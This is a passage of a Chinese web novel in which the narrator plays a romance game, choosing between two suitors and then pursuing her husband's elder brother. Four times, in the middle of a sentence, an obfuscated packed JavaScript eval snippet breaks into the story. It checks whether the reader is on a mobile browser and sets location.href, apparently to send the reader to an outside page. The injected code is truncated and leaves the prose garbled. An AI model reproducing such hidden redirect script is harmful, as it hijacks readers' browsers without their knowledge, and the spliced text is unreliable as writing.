一场你爱我,我爱他的情感三角中,身为局外人的小满,敏锐的察觉到你和他,以及与萧玉珩间两小无猜的青梅情谊,正因方鸿渐的出现,隐隐有了崩塌的迹象。 得知来龙去脉的你,一时百感交集。 竹马敌不过天降,这样的经典剧情,有天竟也让你在游戏中遇到了。 这个开局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127376|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在你手中的丑不拉几的香囊,应该是你亲手所做,预备在上元节这天送给方鸿渐的。 上局的萧玉珩在看到这个香囊时,知道这是原本要送给方鸿渐的吗? 应该是知道的,否则也不会有那片刻的沉默。 “姐姐,你不要喜欢方先生好不好?”小满泪眼哀求,“自从他出现后,你和萧大哥都变得很奇怪,不仅不爱互相打闹了,也变得不爱笑了。我不喜欢这样,我想我们三个像从前那样好。” “小满……”你叹息。 你伸手想安抚小满,他却躲了过去。 小满低头忍泪,“姐姐,萧大哥就在鸳鸯桥等你,你和我一起去找他吧。” 你抱歉道:“对不起,小满,我不能去。” 你的任务是把香囊送给真正喜欢的人,并邀他一同逛花灯。 萧玉珩不是那个人。 小满抬头看你,“姐姐,萧大哥哪点比不上方先生?” “不是比不比得上的问题……”你头痛。 “姐姐,等开了春,方先生便要动身上京赶考,京城离这儿山长水远,他这一去不知几何。我听爹爹说过,方先生虽家境清贫,才气却极高,此一去必定高中。他是个注定做官的人,等他做了官,见了外头的繁华,他还能记得起你吗?” “小满,”你惊讶,“谁教你说这些的?” 小满咬唇道:“没人教我。” 你抬眼一看,天快黑了。 你狠了狠心,“小满,我,我要走了。” 再不抓紧时间,这一关又要失败了。 “姐姐!”小满伸手拉住你,“姐姐,你当真弃我们而去?” “我没有……”你真应付不来这种情况,只好道:“或许,人在不同时候,面对同一问题,会有不同选择。” 小满放开了你。 你得以脱身。 你快步走出院子,没感觉到解脱,反而心烦意乱。 想想,又觉得好笑,不过一个游戏而已。 哎。 你叹气。 走着,方鸿渐迎面而来。 这回你认得了他,踌躇之下,主动叫道:“先生。” 方鸿渐停住,“小姐。” “先生这是要往哪儿去?” “……只是走走。” 你绞了绞衣袖,“先生,你今晚有什么事吗?” 方鸿渐气质冷冽,为人正派,他就像位老师,让你不自觉紧张。 方鸿渐道:“并无。” 你咬咬牙,双手递上香囊。 方鸿渐目光落在那被紧张得捏变了形的香囊上,一时没说话。 你心一横,“先生,这个香囊送给你。” 方鸿渐仍没有动作。 你快尬死了。 “先生,这香囊是我自己做的,可能做的不是那么好看,但也是我的一点心意,你要是嫌丑的话……” “不丑。”方鸿渐忽地说道。 你愣住。 他微笑着将香囊接过,“我觉得很好。” 他笑时犹如冰河解冻,整个人柔和了不少。 你讷讷道:“是么……” “嗯。”方鸿渐道:“这是我平生收到过最珍贵的礼物。” 你顺势问:“那……先生愿意和我一起去逛花灯吗?” “好。” ……居然,这么简单就答应了。 5. 真正喜欢的人 又是那条熟悉的街道。 街上仍旧灯火如昼,游人如织。 只是这次,你没有登上鸳鸯桥。 你和方鸿渐并行走着,略显拘谨。 “小姐,小心。” 人潮中,你差点被人撞到,好在方鸿渐及时护住了你。 你道了谢,又说:“先生叫我小春便好。” 小姐小姐,听着怪别扭的。 方鸿渐默了默,说好。 你歪了歪头,“那,我可以叫你名字吗?” 老叫先生,让你感觉自己是在跟老师约会一样,紧张得手脚都放不开。 方鸿渐说:“我字景行。” “景行?” “高山仰止,景行行止。这是我给自己取的字。你可以叫我景行。” “诶,怪好听的。”你笑道:“你怎么这么会给自己起名字。” “胡乱取的罢了。”方鸿渐也笑道。 灯火下,他的面容变得清晰,你暗自打量着他,墨眉漆眼,直鼻薄唇,布巾将他的头发束得一丝不苟,目光转动间却流露出一股腹有诗书之人才有的灵动之气。 “先生应该多笑笑。” “不是叫我景行么?” “啊,我忘了。平日先生先生的叫多了,这一时半会的改不过来了。” 方鸿渐失笑道:“为什么说要我多笑笑,我平日里难道总板着一张脸么?” “倒不是板着脸,只是你不笑时,总让人感觉有点害怕。小满他就很怕你。” 你想起上局时,小满见到方鸿渐,就跟老鼠碰见了猫似的模样,就不觉想笑。 他私下里虽总大不敬的叫方鸿渐姓方的,可真到了人跟前,还是得摆出乖顺的样子,不敢有半点忤逆,这其间可见方鸿渐的威严。 “小满天资聪颖,可却生性好动,我若不严肃些,恐怕压他不住。” “他才十四五岁,这个年纪的男孩儿爱玩也很正常。” 感觉你们的对话有点像开家长会。 路过一个摊子时,方鸿渐忽然停住,为你仔细挑选了一支银钗。 银钗款式简单,做工却很精致。 你问:“怎么突然送我这个?” 方鸿渐柔声道:“投之以桃,报之以李。我收了你的香囊,理应有所回报才是。” “我身无长物,能送的也就只有这个了,希望你不要介意。” 你摇头,“这就很好了。” 几个姑娘结伴从你们身边走过。 “你说,鸳鸯桥上那位公子的心上人若是一直不来,他会不会枯等一夜?” “应该不会吧……再说了,哪儿有人会等人等一夜的,再过些时候,那位公子若还是等不到,自己就会走开了。” “只是可惜了,那样一个俊俏公子,竟是名花有主。” 你敏锐的察觉到,经过你们的,就是上局鸳鸯桥上找萧玉珩搭话的那几个姑娘。 听了她们的话后,你不觉一愣。 萧玉珩他……还在鸳鸯桥等你吗? “小春,你在想什么?” 你回过神,“没什么。” 方鸿渐低下头,他站在你面前,高高的身影笼罩住了你。 他抬起手,动作向你。 你下意识躲了一躲,“怎么?” 方鸿渐道:“只是想为你戴上发钗。” 你说:“我自己来就好。” “还是让我来吧。你看不见自己的样子,我帮你戴更方便些。”方鸿渐声音低低的,“好么?” 你犹豫了下,点头。 方鸿渐将银钗簪在你发间,“很好看。” 你偏了偏头,忍不住伸手去摸,“是发钗好看吧。” “人也好看。” 你知道自己的斤两,不过谁不喜欢被人夸呢? “人靠衣装马靠鞍,我就当你是在夸我了。” 从摊子离开后,你们便一路到了鸳鸯桥下,这里摆了各式各样的花灯,传说只要在花灯上写下愿望,并将它放于河水中飘走,便能得到神灵的祝福。 你和方鸿渐各买了一盏花灯。 你不会写毛笔字,也没什么特别的愿望,思来想去,便在花灯上歪歪扭扭的写下平安喜乐四字。 方鸿渐写得比你认真多了,你有点近视,隔着距离看不清方鸿渐写了什么,又有些好奇,便问:“你写了什么?” “小春不妨猜猜。” 你想了想,笃定道:“一定是写保佑你春闱高中吧?” 方鸿渐道:“不是。” “那是什么?”你想不出来了。 方鸿渐神秘一笑,“愿望说出来就不灵了。” 放花灯时,你特地选了处人流较少、位置较偏的地方。 看着小小的花灯,摇摇晃晃的顺着河水飘走,眼前的景象也逐渐变得模糊。 你的任务完成了,游戏也该结束了。 可视线再度变清晰时,你又回到了院子中。 第二轮闯关,失败了。 你不敢相信。 你明明按照小满给出的信息,找到了真正喜欢人方鸿渐,也给他送了香囊,一起放了花灯,怎么最后还是失败了? 这游戏有毛病吧! 这回你真的有点生气了,气到都想直接退出游戏不玩了。 可到最后关头,你还是忍住了。 就这么退出游戏会直接宣布任务失败,那样的话你会更生气。 忍了又忍,你决定还是坐下来平复心情,再好好想想,前面两轮闯关中是否还遗落了什么信息。 你点开游戏任务,反复观看。 “今天是上元节,请赶在天黑前将香囊送给你真正喜欢的人,并邀他共赴花灯会。” 将香囊送给真正喜欢的人,并邀他共赴花灯会。 将香囊送给…… 真正喜欢的人! 你好像有点明白了! 任务中说要把香囊送给真正喜欢的人,并邀他共赴花灯会,这个真正喜欢的人是对于玩家而言的,而非对剧情而言的。 也就是说,不管剧情怎么设定,玩家都只需按照自己的心意去选择真正喜欢的人。 第一轮中,你不知道方鸿渐的设定,误将萧玉珩当做成喜欢的人,过程虽然很开心,但你却没有读懂萧玉珩言语间片刻的沉默,和眼底中的落寞。 你不了解他,也就谈不上什么喜欢。 第二轮,你知道了前因后果,终于了解了萧玉珩,却囿于任务,选择了方鸿渐。 虽然在原设中你是喜欢方鸿渐的,但在真正的相处后,你总是觉得他像是你的老师,正气凛然得让你感到拘谨,远不如和萧玉珩在一起时放得开。 方鸿渐为你买银钗时,你听到路过的那几位与萧玉珩搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127377|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的姑娘,得知他还在鸳鸯桥上等你时,你明显一愣。 与方鸿渐放花灯,你鬼使神差的选了个人少偏僻的地方,也是怕桥上的萧玉珩看见了会伤心。 原来心里的天秤,早在不知不觉间偏向了萧玉珩。 “姐!姐!” 小满从院外跑到你面前。 “姐,天都快黑了……” 你没等小满话说完,直接从凳子上站起,“我们去鸳鸯桥找萧玉珩吧!” “你……啊?”小满没反应过来。 你又重复一遍,“我们去找萧玉珩!” 小满双眼绽放出惊人的光芒,“真的吗!真的吗姐!你真的要和我去找萧大哥吗?” 你重重点头,这回你已明白了自己的心意。 小满似乎还有些疑问,你却直截了当说:“快走吧,再不走天就要黑了。” 有你这句话,什么疑问都不重要了。 途中,你还是碰到了方鸿渐。 茅塞顿开的你意识到,方鸿渐出现在此,并非如他所说的只是走走。 他是特地在附近徘徊的,为了能与你不期而遇。 你牵着小满的手停住,故作平常的同他打招呼,“景行。” 一开口,你愣住了。 方鸿渐也愣住了。 这一轮,方鸿渐并没有告诉过你他的字,你却叫了。 你尴尬的找补,“我是说,先生。” 好在方鸿渐并未多问,只是说:“小姐,你和小满是准备出门么?” 你点点头。 小满大声说:“姐姐要和我到鸳鸯桥去找萧大哥。” “小满……”你出声,想要制止他。 小满却是不管不顾,“萧大哥约了姐姐上元夜逛花灯的,姐姐现在是要去赴约。” “小满!”你伸手捂住他嘴巴,可是迟了,小满什么都说完了。 小孩子不懂掩藏情绪,他炫耀似的话像给这场三角追逐画下终止符。 方鸿渐站在一道阴影下,神色难测。 选择方鸿渐,就不能赴萧玉珩的约。 选择萧玉珩,就不得不面对方鸿渐。 你拉着小满,想赶紧逃离这般修罗场。 “小春。”方鸿渐叫住你。 “先生。”你感到紧张。 小满挡在你面前,略显警惕。 方鸿渐凝视你几秒,忽地浅浅一笑,道:“高山仰止,景行行止,是我给自己取的字,从未告诉过别人。” 你:“……” 你挠挠头,“呃……我,我只是……前几日在书里看到了这句话,就随口说了出来……” “我很高兴能听到你叫我的字。”方鸿渐望了一眼天色,“天色不早了,小姐和小满快去找萧公子吧。” 你踌躇的,“那,我们就先走了。” “好。” 去找萧玉珩的路上,你另买了个香囊。 鸳鸯桥上,遥遥相望。 “小春。” 萧玉珩向你奔来,他面上露出欣喜的笑容,“你来了。” 你嗯了声,“我来赴约了。” 萧玉珩手足无措,“我……我以为你不会来。” “知道我不来,你也在这里等么?” “总归要试试。若试都不试,那就真的什么都没了。” 像个孤注一掷的赌徒。 6. 你成了洛霖的弟媳 你将香囊送给他,“这是我来的路上买的,不知今晚是否有幸能请这位公子共赴花灯会?” 萧玉珩狠狠一怔,随即笑道:“求之不得。” 蛾儿雪柳黄金缕,笑语盈盈暗香去。众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。 闯关成功,你最终的完成度是百分之八十五,游戏等级为Lv.5。 看着闯关成功的界面,你不由呼出一口气。 相比起第一关,这第二关的难度明显要高很多。 第一关的时候,你只需要应付一个人,等到了第二关,你要应付的人就变成了两个。 你觉得一对多的对你来说太有挑战性了,如果可以的话,你还是比较愿意应付一个人先。 继续游戏or退出游戏 三轮的闯关中,你已经耗掉了太多的脑细胞,正好也有些困了,便打算关掉游戏睡觉。 不成想,睡意袭来,你打了个哈欠,眼睛朦胧下,竟把退出游戏点成了继续游戏。 游戏开始,你连缓冲的时间都没有,直接来到了第三关。 “你是威远侯次子洛骁的夫人,请让长子洛霖亲口对你说出我爱你。任务时间不限,玩家可在任意时间内选择重开游戏。” 这次,你在一间屋子里,正坐在铜镜前,由着身后的丫鬟为你梳妆打扮。 你没想到你还没从第二关中缓过来,这么快就开启了第三关。 你记得洛霖,他是你的第一个攻略对象。 看来这个游戏出现过的人物,是会再次出现的,只不过故事背景会有所更换。 但这次的故事背景,换得也太炸裂了吧? 第一关的时候,你和洛霖是新婚夫妻,等来到了第三关,你就变成了洛霖他弟的老婆。 这也就算了,你变成他弟的老婆后,竟还要去找洛霖,让他对你说出“我爱你”这种话。 这不就是在跟大伯偷情吗? 你还没见到洛骁,便先替他默哀了几秒钟。 “小姐,您……”身后的丫鬟说了个头便停住,紧接着又叹了口气。 你现在已嫁为人妻,底下的人应叫你夫人才对,而这丫头竟还叫你为小姐,想来她是你还未结婚时,就跟在身边了的。 经历过前两关的游戏后,你已经变得游刃有余了许多。 你听得出丫鬟的欲言又止的语气,知道这其中必定有关于本次游戏的故事线索,便若无其事的顺着她的话问:“我?我怎么了?” 丫鬟想了又想,终究还是道:“不管怎么样,您现在都已经嫁给了二少爷,就别再念着大少爷了罢。” “我不知道你在说什么。”你继续试探。 “哎呀!”丫鬟一跺脚,气急道:“采莲服侍了小姐这么多年,心里早就当小姐同亲姐妹一般了,难道小姐还要提防着我不肯说真话么?” 你不语。 采莲又长叹了一口气,“要说来,这也的的确确是造化弄人。想当日,与小姐你先订下婚约的,明明是大少爷。那会儿子良辰吉日,三书六聘,什么都下好了的,就等日子一到,大少爷便迎娶小姐过门。” “可谁曾想,二少爷会在这节骨眼从马上摔了下来,自此一病不起。大少爷和小姐的婚事为此一拖再拖,原先以为等个一年半载,总有好的时候,结果侯爷又去找了个神仙方士来给二少爷算命,说他命中犯煞,该有一劫,若想平安度过,必须找一八字相合的女子与之结为连理,方可逃过此劫。” 不等采莲说完,后面的剧情你也猜到了个七七八八。 侯爷从方士那儿得知消息后,便开始满城的替洛骁寻找那个八字相合的女子,可谁都没想到的是,兜兜转转找了一圈,那个女子竟会是你。 果真是……好大一盆狗血。 你感叹。 “小姐,过去的都已经过去了,人总要向前看,不是吗?”采莲苦口婆心的劝道。 由此可见,你与洛骁结婚后,心里还是一直对洛霖念念不忘的。 古代伦理道德森严,寻常百姓尚且遵循三纲五常,更遑论侯府这样的权贵之家。 照这种背景来说,采莲所说其实是对的。 不论如何,现在你都已嫁给了洛骁,是侯府二少爷明媒正娶的夫人,若还是不忘前尘,执着旧梦,最终只会反伤自己。 你是以玩家的身份参与到这段故事中,古代的伦理纲常对你倒不是问题,问题最大的其实是洛霖。 你和洛霖虽只相处了短短一炷香的时间,但你还是能从和他的对话中,了解到一点他的性格。 他是个循规蹈矩,甚至有些刻板的人。 对待婚事,他遵从父母之命,媒妁之言。就算父母有过错,也不能不假辞色,而要柔声柔色,尽责尽孝的服侍父母,等到他们心情好转后,再次劝谏。 他和你的那段被作废的婚事,很可能也是因为父母之命,媒妁之言,而非出于本心。而且就算你们有旧情,他也绝不会对已成为他弟媳的你说出“我爱你”这种话。 游戏才刚开始,你就已经预见了结局。 “小春!” 洛骁从门外走进,你转头去看,还没看清他他的脸,就先被他一把抱紧了怀里。 那是一个占有欲极强的拥抱。 “小春,听说城里最近新开了一间瓦舍,每日都会上演许多新奇有趣的游艺项目,人山人海的热闹极了,我们也一块儿去看吧。” 采莲悄声退了出去。 你倒是对洛骁所说的瓦舍挺有兴趣的,但又念着还有任务在,若是这么跟他出去玩一通的话,不知游戏时间会被拉多长。 你想,既然如此,还不如让洛骁自己玩去好了,这样你也能有机会去找洛霖。 “你去玩吧,我就不去了。” “为什么?” “我不喜欢人多嘈杂的地方。”你为自己这个借口竖了个大拇指。 洛骁稍稍松开你,“既然你不喜欢,那我也不去了。我留在这陪你。” “你想去就去吧,别因为我坏了兴质。”你睁大了眼睛,试图让自己表情更加诚恳。 洛骁道:“比起那些,我更喜欢和你在一起。” 你:“……” 你彻底没招了。 洛骁从梳妆台上的螺钿奁盒中取了支螺子黛,半蹲在你面前,笑道:“小春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127378|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我来为你画眉吧。” “不用了吧,我又不去哪儿,用不着画这个。”这话并非作假,你在游戏外确实很少化妆,顶多也就会在跟舍友出去玩的时候抹个粉底涂个口红,画眉什么的对你来说还是太精致了。 你看着面前的洛骁,一瞬间,仿佛从他身上看到了洛霖的影子。 洛霖和洛骁这对兄弟,在样貌上起码有七八分相似,尤其是那双眉眼,笑起来时简直如出一辙。但洛霖会端庄自持些,洛骁更加肆意精致。 非要形容的话,洛霖像一幅疏朗有致的白描,洛骁则更像酣畅淋漓的泼墨。 到底是什么样的父母,才能生出这般天仙似的兄弟。你不由感慨。 “小春,你不喜欢与我待在一处吗?”洛霖起身,将螺子黛重新放回奁盒中。 你不明所以,“没有。” “是真的没有,还是……”他停顿了一下,忽地用手捏住你下巴,“你真正想在一起的,其实另有其人。” 你:“?” 洛骁逼近你,“小春,你是我明媒正娶的夫人,这辈子注定与我生同衾死同穴,明白吗?” 他一字一顿,声音又低又沉。 你感觉自己像被一条蛇盯上了。 你在前两关所碰到的人中,洛霖刻板,萧玉珩温柔,方鸿渐正直,你从没碰见过像洛骁这般的…… 你往后缩了一下。 洛骁抓住你的手,强硬的将手指插入你的指缝中。 一缕阳光从窗外透进,恰巧落在洛骁半张脸上,阳光下,他的眼睛呈现琥珀色,折射出奇异的金属光辉。 你看得有些愣了。 洛骁也直直的看着你。 然后。 起身,将你吻住。 阳光中无数细小尘埃乱了。 洛骁嘴上虽放着狠话,吻却格外温柔。呼吸交缠中,你感觉自己好像一只青蛙,渐渐沉沦在濡湿的唇齿间。 “小春……” 洛骁的声音钻入你的耳朵,你现在方寸都乱了,要很认真才能听清他在讲什么。 “我知道,你同大哥情投意合,若非是我,你们本该是天造地设的一对。可是……”洛骁喃喃道:“你也是我的药,知道么……因为你,我才能活过来,你不能抛下我,你的眼里不能没有我。” 你和洛霖先前的那纸婚约,一直是洛骁心里的一根刺。 和你成婚的这段好时光,都仿佛是偷来的一般。 诶,不对。 你突然反应过来,你是来做任务的,你的任务目标是洛霖,怎么现在反而跟洛骁亲上了? 你后退一步,恍然清醒的模样令洛骁心下一沉,他抓住你不肯松开,又缠缠的吻了上来。 这回他吻得用力了些,极尽缠绵的,企图勾着你坠入更深的深渊。 你意志向来不大坚定,在洛骁有意的影响下,思维很快就跑偏了。 “洛、洛骁,你先……!” 你用力拍他肩膀,话不成句。 洛骁充耳不闻。 再这样下去,事情就要往不可描述的方向发展了。 你当机立断,选择了重开游戏。 7. 从此无心爱良夜 又是同样的场景。 你记起来,第一关通关之后,系统曾给你送过一个道具大礼包。 你心下一喜,当即点开了背包查看。 一瓶对玩家无效的,无色无味的昏睡药水。 一张可显示人物位置的位面地图。 一粒能将自身存在感降低为零十分钟的降息丸。 迅速瞄一眼,你心里马上有了决断。 你在位面地图的下方点击使用,页面弹出窗口,显示“道具仅能使用一次,是否确定使用”。 你犹豫了下,选择了是。 这道具虽说是挺宝贝的,但这玩意儿就跟钱一样,就是要用来花的。如果有钱却不花,反而将其束之高阁,那钱不也就没意义了吗? 使用位面地图后,你手中凭空出现了一个巴掌大小、画卷似的东西。 将画卷打开后,微微泛黄的纸业上赫然呈现出整个侯府的地图,地图上四处散落着大小不一的圆点,圆点上方写有蝇头小字,标明着这些圆点所代表的人物姓名。 你眯着眼睛找,找得眼睛都快酸了,才终于在一处写着枕书斋的地方找到了洛霖的名字。 知道了洛霖的所在,接下来就是要动身去找他了。 恰好,背包里的另一道具降息丸又派上了用场。 一切碰巧得仿佛早有安排一般。 万事就绪的你在第二轮游戏开始后,直接找了个借口将采莲支走。 她一走,你马上吞下降息丸,偷偷翻窗跑出门外。 你一路走得很急,不敢有半点停歇,根据地图给出的提示,七拐八拐终于来到了枕书斋。 你没有给洛霖太多的准备,径自便推门而入。 在与洛霖差异的目光对上的一瞬间,降息丸的效果也到了头。 彼时,洛霖正在书案前作画,他没想到你会突然出现在此。 笔尖停顿间,一滴墨滑落,在纸上荡开波纹。 “洛霖!” 你喘了口气,叫出他的名字。 洛霖恍然梦醒,忙忙搁笔走到你面前,轻声的,诧异的,“小春,你怎么到这儿来了?” “我来找你的!我就是想问你一句话……” 你话还没说完,洛霖便警惕的朝门外看了眼,确认没人后,才立马将门关上。 他说:“小春,你……你到这儿来,于理不合。” “别管什么理不理的了,我就是想问你一句话,你爱我吗?”你开门见山。 第一关的时候,你试图和洛霖聊天拉近关系,结果不知哪个点触到他雷点,直接导致攻略失败。 这次你也不搞那些弯弯绕绕的了,直接就上来放大招,要是洛霖不喜欢你而游戏失败,那也是没办法的。 你已经为此付出过努力了,你甚至还为他用掉了两个道具呢! “我……”洛霖眼中浮现出太多情绪,一时竟像千丝缠绕,捋也捋不清,“我……小春,你回去罢。” 他不肯正面回应。 你感觉有点戏,“你不给我答案,我是不会回去的。” 洛霖侧过身,不去看你,“小春,现在你已嫁给洛骁,一切尘埃落定,又何必再执着前事?” 你站到他面前,很认真的,“难道你就放下了吗?” 他若真是放下了,在你出现在枕书斋的第一刻起,就应该让你离开,而不是还帮你关门遮掩。 洛霖闭上眼睛,“我会慢慢放下的。” 你想了想,“我到这儿来,只是想听你一句真话。” “真话假话都没有意义了。” 哎!这头牛,怎么这么倔! 你气的想跺脚。 忽然,你往书案处看了眼,方才进来的时候,洛霖好像在画画来着…… 你福灵心至,大步走到书案前,拿起那幅没画完的画。 果然,上头画的是你。 也许是情人眼里出西施的缘故,画上的你比现实中的你要温婉可人许多,除了人以外,画左侧还写了几句小诗。 你不自觉将诗念出,“水纹珍簟思悠悠,千里佳期一夕休。从此无心爱良夜,任他明月……”下西楼。 “小春!”洛霖惊道,快步走来,想把画夺走,你却敏捷的一个侧身,让他的手夺了个空。 你找到了他还爱你的证据,现在只不过差他一句话。 你举着画,有些得意的,“从此无心爱良夜,任他明月下西楼。洛霖,你写的诗比你说的话要诚实得多。” 洛霖僵在半空的手缓缓收回,眼中复杂的情绪犹如潮水褪去,露出了最深处的名为疼痛的暗涌。 他眼眶微红,眼角沁出一颗晶莹的泪珠。 你…… 你把洛霖惹哭了! 你开始意识到错误,你不该拿人家的感情当做炫耀的资本。 你万分懊恼,连忙将画递还给洛霖,他却将头一撇,不肯理你。 你没法子,只好把画重新放回书案,老老实实认错,“洛霖,对不起,我刚刚不该那样子的。” 洛霖默了默,“你已经知道了想知道的答案,现在可以走了。” 你确实已经知道了洛霖的心意,如果这不是个游戏,你早该无地自容的走了,但你的任务是要听他亲口说出“我爱你”这句话,你还不能走。 哎,这个任务好难。 “洛霖……” “请回吧。” “洛霖。” “小春,回去吧。” 你上前拽住他的衣袖,“你是不是生气了?” 洛霖僵硬着,“没有。” 你大着胆子,踮起脚想往洛霖脸上亲一亲,可是他太高了,又不配合,意识到你想做什么后,立即往后退了一步。 洛霖又惊又羞,“小春,你做什么!” 你干脆耍赖,故意往前一倒。 要是洛霖不肯接住你,你保准要跌到地上去。 洛霖到底还是接住你了。 你倒在他怀里,顺势搂住他的腰。 洛霖想推开你,你就抱得越紧。 “小春,别这样……” “别这样是哪样?” “你知道我说的是什么。” “我不知道。” 洛霖羞恼的,“放开我。” “不放。” 洛霖彻底没辙了,“你到底想怎么样?” “我要听你说爱我。” “那句话还有意义吗?就算我说了,又能改变什么?” 是啊,抛却游戏这个因素,洛霖的爱与不爱,都已经没有意义了。 你忽然觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127379|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没意思极了。 “好吧……”你松开手,慢慢退出洛霖的怀里。 你的放手,令空气中某种潜在的温度流失。 洛霖有些慌神。 你抬起眼睛去看洛霖,他的眼睛仍旧红红的,你不由问:“你放不下,对不对?” 洛霖无法回答这个问题。 你叹了口气,这轮游戏,你想认输了。 这时,洛骁来了。 你和洛霖俱是一惊。 洛骁站在门口,却是毫不意外会在这里看见你。 他甚至转身关上了门,面带微笑的一步步走向你。 这时你才发现,原来洛骁走路时,是有点跛脚的。 ……是因为上次坠马落下的后遗症吗? “小春。”洛骁叫了你一声,又叫洛霖,“大哥。” 你问:“你怎么到这儿来了?” 洛骁道:“我回房里找你,见你不在,便找来采莲问,采莲说她也不知道你去了哪里。我心想,这段日子来,你心情一直不大好,或许去了花园散心也说不定。我便去了花园找你,谁知竟也找不到你。” “我又找来许多人问,他们都说没见过你。后来我想,或许大哥会知道你去了何处,没想到……你竟到了这儿来。” 他越说,你越尬。 这不妥妥的捉奸现场吗? 你要不要解释两句啊? 算了算了,越描越黑。 “小春,你与大哥是旧识,今日到这儿来,只是为了同大哥叙旧,对吗?”不等你说话,洛骁已为你找好了借口。 想到方才你逼问洛霖爱不爱你的场景,你实在无法违心的说出你只是来找他叙旧的这种话。 洛骁面上的微笑已经不大挂得住了,“和我回去吧,小春。” “洛骁……”洛霖出声。 洛骁嘴角笑容彻底僵住,但仍保持着冷静,“还有什么事么,大哥。” 大哥这两个字,洛骁说得格外重,仿佛时刻提醒着洛霖的身份。 洛霖心思细腻,自然听懂了这隐晦的弦外之音。他停下所有动作,如同一尊木胎泥塑静静立在原地。 洛骁目的已达到,拉着你就要往外走。 可忽然,洛霖拉住了你。 你站在两兄弟中间,像块夹心饼干。 洛骁一愣,随即死死握住你的手,“大哥,你这是什么意思?” 洛霖游移不定。 忽地,洛骁唇角勾起一抹笑,仿若幽谷中一朵带刺的花,“难道,你后悔了?” “不,我……” “那就放开她!”洛骁决绝的。 洛霖手上的力气有所松懈,但仍虚虚笼着你的手。 “大哥,我知道这话我本不该说,但当初我和小春的婚事,是经过了你的首肯的。如今我俩成了婚,你又来做出这依依不舍之态,到底是何用意?”洛骁终于撕下所有伪装试探,直击要害。 洛霖无话可说。 其实洛霖也确实没什么好说的,因为从始至终,他都是不占理的那个。 当初解除婚约,将未婚妻拱手相让的是他。虽说这是无奈之举,但也是事实。 心爱之人变成了弟妹,曾经的挚爱从此相见相望不相亲,只能躲到小小的书斋中,写诗作画聊以慰藉。 8. 爱不爱我 痛苦、内疚,还有自小在圣贤书中读到的伦理道德,令他在看见你出现在枕书斋的那一刻,心里虽有隐秘的欣喜,却不敢显露出来。 自然,对你的留恋,对洛骁的逼问,他也无可做答。 洛骁当然也不好受,突如其来的灾祸让他几度濒死,还落下了跛脚的后遗症。你的到来仿若一束光驱散了他的阴霾,也真如那神仙方士所说,他的病情开始慢慢好转。 可是洛骁看得出,你的心其实一直都在洛霖身上,否则也不会在你消失后,这么快就找到枕书斋来。 如果说,洛霖亏的在理,那么,洛骁亏的便是情了。 不管是于理于情,困在这潭死水中的二人都不好受。 他们不好受,那原剧情里的你呢? 你就好受了吗? 当了许久背景板的你忍不住了,直接用力把两个男人的手都甩开。 “好了!都别说了!” 你平地一声雷,把两人都惊了一惊。 “你!”你手指洛霖,“为了救你弟,把老婆拱手相让。心里放不下,又不肯给个决断,拉拉扯扯一直拖着。” “你!错虽然不在你身上,但是你在这又争又抢,整得我好像个物品一样,你一直问你哥什么意思,就不能问问我是什么意思吗?”这句是指洛骁。 脑门一热把话说出来,你又感觉不对路了。 你的意思,你都找来枕书斋来了,还用得着问你的意思吗? 还有,这只是个游戏而已啊,你这么上纲上线的真的好吗?会不会有点太夸张了啊? 说出去的话泼出去的水,反正都是收不回来了的,你索性摆烂,“按我说,都别争了,咱们仨一起过得了。” 洛霖:“……” 洛骁:“……” 洛骁率先反应过来,“小春,你是说……你要和我,还有大哥,一起……过?” 洛霖紧跟其后,面红耳赤,“胡闹!” “你是我明媒正娶的夫人,我绝不可能……”洛骁说不下去了,“小春,跟我回去。今日之事,就当从没发生过。” 洛骁又拉着你要走。 洛霖又又拉着你不让你走。 洛霖可能是受了刺激,这回倒是不装哑巴了,“小春,我不是存心拖着你的,只是过去我心里思虑过多,忽略了你的感受,我……我对不住你。可是,在我心里,你从来不是件可以随意争夺的物品……我心里……我一直爱着你。” 洛霖这番真情告白令你瞪大了眼睛。 